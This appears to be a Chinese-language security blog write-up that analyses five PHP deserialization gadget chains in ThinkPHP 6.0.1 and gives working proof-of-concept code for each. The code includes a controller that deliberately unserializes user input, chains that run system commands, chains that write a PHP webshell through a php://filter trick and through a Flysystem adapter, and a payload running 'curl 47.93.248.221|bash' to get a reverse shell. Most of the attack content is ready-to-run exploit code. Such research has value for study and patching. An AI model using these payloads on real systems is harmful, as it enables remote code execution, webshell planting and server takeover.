环境搭建
复现环境:thinkphp6.0.1
php:7.3.4
thinkphp6只能通过composer安装还不能安装旧版本可以到这里去下载
https://www.jsdaima.com/blog/205.html
php think run
在app/controller/Index.php下添加控制器
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
if(isset($_POST['data'])){
unserialize(base64_decode($_POST['data']));
}else{
highlight_file(__FILE__);
}
}
}
第一条链子
漏洞分析
在 ThinkPHP5.x 的POP链中,入口都是 think\process\pipes\Windows 类,通过该类触发任意类的__toString
方法。但是 ThinkPHP6.x 的代码移除了 think\process\pipes\Windows 类,而POP链 __toString
之后的 Gadget 仍然存在,所以我们得继续寻找可以触发__toString
方法的点
寻找destruct方法,定位到了
vendor\topthink\think-orm\src\Model.php
发现$this->lazySave参数可控,这样就可以去调用save函数
跟进save()
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger('AfterWrite');
// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;
return true;
}
发现这句语句
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
不过要执行到这句语句需要满足一个if判断条件,否则会直接返回false
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
跟进isEmpty()
$this->data只要不为空即可,然后$this->trigger('BeforeWrite')
的值需要为true
跟进trigger()
直接让$this->withEvent的值为false进入if返回true即可
这样就执行到了三目运算符语句
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
分别跟进updateData和insertData去寻找可利用的地方
跟进updateData
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}
foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}
// 模型更新
$db = $this->db();
$db->startTrans();
try {
$this->key = null;
$where = $this->getWhere();
$result = $db->where($where)
->strict(false)
->cache(true)
->setOption('key', $this->key)
->field($allowFields)
->update($data);
$this->checkResult($result);
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
$db->commit();
// 更新回调
$this->trigger('AfterUpdate');
return true;
} catch (\Exception $e) {
$db->rollback();
throw $e;
}
}
根据poc指向下一个利用点是checkAllowFields
但是要进入并调用该函数,需要先通过前面两处的if语句
第一个if我们开始已经让$this->trigger()的返回值为true了,不用进入这个if
第二个if要判断$data是否为空,这就要跟进getChangeData去看看了
跟进getChangeData
值需要让$this->force为true就可以直接返回可控的$data,然后不为空就可以不用进入第二个if
跟进一下checkAllowFields
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
$field = $this->field;
if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}
if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}
return $field;
}
当$this->field不为空并且$this->schema为空的时候可以调用db函数
跟进db
这里有拼接字符串操作,$this->name和$this->suffix只要为对应的类名就可以去调用__toString
了
调用链如下
__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()
__toString
的话就可以直接用tp5的后半段链子,只是有一点点不同而已
不过这里还有一个问题,Model是一个抽象类,不能实例化
我们需要去找他的一个子类Pivot (src/model/Pivot.php)进行实例化
问题解决了就来跟进__toString
方法了
定位到
vendor\topthink\think-orm\src\model\concern\Conversion.php
跟进toJson
跟进toArray()
对 $data进行遍历,其中 $key 为 $data 的键。默认情况下,会进入第二个 elseif 语句,从而将 $key 作为参数调用 getAttr() 方法。
跟进getAttr()
先回调用getData,跟进一下
跟进getRealFieldName
直接返回一个值,这里的$this->strict可控,只要为true就返回$name的值,而$name是刚才传进来的$key
所以这里就相当于返回$name
回到getData函数
这里就相当于直接返回了应该$this->data[$key]
回到getAttr函数,下一步会调用getValue
跟进getValue
看到这里是一个可用rce的点
$value = $closure($value, $this->data);
先判断是否存在$this->withAttr[$fieldName]这里的$this->withAttr[$fieldName]并不是数组所以会进入else语句
执行到
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
$this->withAttr[$fieldName]和$this->data是可控的,而$this->data即是他的键值
那只要让$closure=’system’然后$value为要执行的命令即可
$value的值是在getData里面可以控制的
都能控制,那这样就可以去rce了
漏洞复现
poc如下
<?php
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = false;
private $exists = true;
private $data = [];
function __construct($obj)
{
$this->lazySave = true;
$this->exists = true;
$this->data = ['key' => 'whoami'];
$this->table = $obj;
$this->strict = true;
$this->visible = ["key" => 1];
}
}
namespace think\model\concern;
trait Attribute
{
private $withAttr = ["key" => "system"];
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
function __construct($obj)
{
parent::__construct($obj);
}
}
$obj1 = new Pivot(null);
echo base64_encode(serialize(new Pivot($obj1)));
这里的poc中并没有看到Conversion这个类,是因为在Model类中的引用已经有Conversion这个类了,当我们实例化他的子类的时候,可以去调用了他引用里面的__toString
方法
Attribute和Conversion这两个类与Model类是通的,所以属性可以全部在Model里面定义
自己写了个exp
<?php
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
$obj1 = new Pivot('');
echo base64_encode(serialize(new Pivot($obj1)));
}
namespace think {
use think\model\concern\Attribute;
abstract class Model
{
private $lazySave;
private $exists;
private $data = [];
private $withAttr = [];
public function __construct($obj)
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->table = $obj;
$this->data = ['key' => 'whoami'];
$this->visible = ["key" => 1];
$this->withAttr = ['key' => 'system'];
}
}
}
namespace think\model\concern {
trait Attribute
{
}
}
第二条链子
漏洞分析
寻找其他的入口点
vendor\league\flysystem-cached-adapter\src\Storage\AbstractCache.php
跟进save,这是一个抽象类,所以我们应该到其子类去寻找可用的save方法
src/think/filesystem/CacheStore.php
其实我看了看另外几个save方法,就这个最简单了
$this->store可控,可以去调用任意类的set方法,没有则调用__call
这里先出发去找可用的set方法
定位到src/think/cache/driver/File.php
public function set($name, $value, $expire = null): bool
{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
clearstatcache();
return true;
}
return false;
}
跟进getExpireTime
发现没什么可用的
跟进getCacheKey
这里其实就是为了查看进入该方法是否出现错误或者直接return了
所以这里$this->options['hash_type']
不能为空
返回了一个字符拼接的值,$this->options['path']
可控,又可以去调用上一条链子的__toString
漏洞复现
poc
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache
{
protected $autosave;
public function __construct()
{
$this->autosave = false;
}
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
use think\cache\driver\File;
class CacheStore extends AbstractCache
{
protected $store;
protected $expire;
protected $key;
public function __construct()
{
$this->store = new File();
$this->expire = 1;
$this->key = '1';
}
}
echo base64_encode(serialize(new CacheStore()));
}
namespace think\cache {
use think\model\Pivot;
abstract class Driver
{
protected $options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
public function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => new Pivot(),
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver
{
}
}
namespace think {
use think\model\concern\Attribute;
abstract class Model
{
private $data = [];
private $withAttr = [];
public function __construct()
{
$this->data = ['key' => 'whoami'];
$this->visible = ["key" => 1];
$this->withAttr = ['key' => 'system'];
}
}
}
namespace think\model\concern {
trait Attribute
{
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}
第三条链子
漏洞分析
回到上一条链子的set方法
当我们退出getCacheKey后往下面走会进入一个serialize方法
跟进serialize
这里的$this->options['serialize']
可控,绕过$data的值可控的话就可以去RCE
回到前面可控$data怎么来的
serialize方法的参数值是set方法的$value
继续回溯到set方法前面的save方法看看$value是如何来的
是$content的值,跟进getForStorage()
返回一个json格式的数据
所以这里$data是一个被处理后的json数据,不过system函数能够处理json数据
不过这里只有linux系统适用,因为反引号在window不起作用
漏洞复现
poc
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "`curl xxx.xxx.xxx.xxx|bash`";
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store = "")
{
$this->store = $store;
}
}
}
namespace think\cache {
abstract class Driver
{
protected $options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver
{
}
}
namespace {
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo base64_encode(serialize($cache));
}
这里执行命令虽然不知道为什么没有回显,但是可以curl去反弹shell
bash并没有反弹成功
成功反弹shell
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "`curl 47.93.248.221|bash`";
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
use think\cache\driver\File;
class CacheStore extends AbstractCache
{
protected $store;
protected $key = "1";
public function __construct()
{
$this->store = new File();
}
}
echo base64_encode(serialize(new CacheStore()));
}
namespace think\cache {
abstract class Driver
{
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver
{
protected $options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
}
第四条链子
漏洞分析
继续回到set方法往下走
发现一个file_put_contents函数
$filename是getCacheKey()的返回值
跟进getCacheKey()
$this->options['path']
和$name都是可控的,那文件名就可控了
然后就直接让$this->options['hash_type']
为md5,$this->options['path']
为filter过滤器,$name=1
文件名就是1的md5编码了
两个if可以控制参数不进入即可
文件名可控了,再回过头来看$data的值
serialize方法返回了第一个$data的值,跟进serialize方法
第三条链子已经提到了这么去控制这个返回值了,所以这里返回值也是可控的
不过$serialize的值需要是一个函数,并且不影响$data的值,这里可以用trim函数
可以看看效果
<?php
$a = json_encode([[], 'dasdasdsa']);
echo $a;
echo trim($a);
而json_decode反而会让这里抛出异常
回到set继续往下看
这里还有一个字符串拼接,前面标签内的东西可以直接用php://filter
过滤器去除了所以写入的内容就是前面serialize方法返回的值
然后就是写入shell了
其实这里字符拼接,$data可控也是可以去调用toString的
漏洞复现
poc
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "aaaPD9waHAgcGhwaW5mbygpOz8+";
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
use think\cache\driver\File;
class CacheStore extends AbstractCache
{
protected $store;
protected $key = "1";
public function __construct()
{
$this->store = new File();
}
}
echo base64_encode(serialize(new CacheStore()));
}
namespace think\cache {
abstract class Driver
{
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver
{
protected $options = [
'expire' => 1,
'cache_subdir' => false,
'prefix' => false,
'path' => 'php://filter/write=convert.base64-decode/resource=',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['trim']
];
}
}
写入了文件,在public目录下
第五条链子
漏洞分析
入口点还是
vendor\league\flysystem-cached-adapter\src\Storage\AbstractCache.php
之前提到过,这是一个抽象类,他有几个子类对这个save方法进行了重写
之前我们找的是这下面的save方法
再看看其他的save方法,定位到src/Storage/Adapter.php
$this->file是可控的,$contents是getForStorage方法的返回值
跟进看看
和之前的有点类似,返回一个json格式的数组
这里可以去想办法去找到可用的call方法 ,或者可用的has方法
还有一种,就是找到一个类同时存在has方法和可用的update方法和write方法
定位到src/Adapter/Local.php
同时存在以上三个方法
看has方法
public function has($path)
{
$location = $this->applyPathPrefix($path);
return file_exists($location);
}
判断文件是否存在
跟进applyPathPrefix
跟进getPathPrefix
直接返回一个可控值$this->pathPrefix
如果$this->pathPrefix为空,applyPathPrefix的返回值就是$path
$path是之前可控的$this->file
这里只有构建一个不存在的文件名即可进入save方法的if
跟进write
有一个file_put_contents
$location的值和刚才一样已经分析过了
然后进入if判断,$content的值也是可控的,这里就可以用来写文件
占尽天时地利人和,下一步就是写马了
漏洞复现
<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ['<?php phpinfo();?>'];
}
namespace League\Flysystem\Cached\Storage;
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;
public function __construct($obj)
{
$this->adapter = $obj;
$this->file = 'DawnT0wn.php';
}
}
namespace League\Flysystem\Adapter;
abstract class AbstractAdapter
{
}
namespace League\Flysystem\Adapter;
use League\Flysystem\Cached\Storage\Adapter;
use League\Flysystem\Config;
class Local extends AbstractAdapter
{
public function has($path)
{
}
public function write($path, $contents, Config $config)
{
}
}
$a = new Local();
$b = new Adapter($a);
echo base64_encode(serialize($b));
成功写入
不过这里不能控制complete的值去写入,里面应该是会检验php标签
其实这里后半部分的gadget还在,只要找到可控的字符拼接这种类型的都可以去调用到后面的toString,在复现过程中,看到了几个地方都可以去调用toString的,不过只写了第二条链子
参考链接